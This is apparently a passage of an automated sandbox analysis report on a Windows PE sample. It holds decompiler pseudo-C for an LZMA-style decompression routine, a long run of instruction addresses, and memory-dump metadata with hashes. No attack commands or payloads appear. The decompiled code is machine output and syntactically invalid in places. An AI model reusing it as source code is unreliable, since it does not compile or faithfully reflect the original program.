												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x0040680a
0x0040680a
0x0040680e
0x00406833
0x0040683d
0x00000000
0x00406810
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681d
0x00406821
0x00406821
0x00406824
0x004068fe
0x004068fe
0x00406905
0x00406905
0x00406908
0x0040690f
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x004068bc
0x004068bc
0x004068bc
0x00406058
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x004068b6
0x004068b6
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00406520
0x00406524
0x00000000
0x00000000
0x0040652a
0x0040652e
0x00000000
0x00000000
0x00406534
0x00406536
0x0040653a
0x0040653a
0x0040653d
0x00406541
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x004065db
0x004065db
0x004065de
0x004065e5
0x004065ea
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00000000
0x00000000
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x00000000
0x004068f7
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00000000
0x00000000
0x004069b8
0x004069bb
0x004068bc
0x004068bc
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x00000000
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00406544
0x00406544
0x00406548
0x00406a0e
0x00000000
0x00406a0e
0x0040654e
0x00406551
0x00406554
0x00406557
0x00406559
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00406582
0x00406582
0x00000000
0x00406582
0x00406803
0x00406a38
0x00406a5a
0x00406a60
0x00406a62
0x00406a69
0x00406a6b
0x00406a72
0x00406a76
0x00000000
0x00406067
0x00406a6f
0x00406a6f
0x00000000
0x00406a6f
0x004068bc
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00406999
0x00000000
0x0040680e

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction ID: c9a91825e94b1235ed1e5db661991067e3a312009d26920905f6c04b87fbb156
Opcode Fuzzy Hash: b90b51789b68cdbba6ca9369e5ad938c532d61a1d7775d6d72ffdff9632d9f26
Instruction Fuzzy Hash: 25913F71E00228CFDF28DFA8C8547ADBBB1FB44305F15816AD916BB291C3789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406520, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406520() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
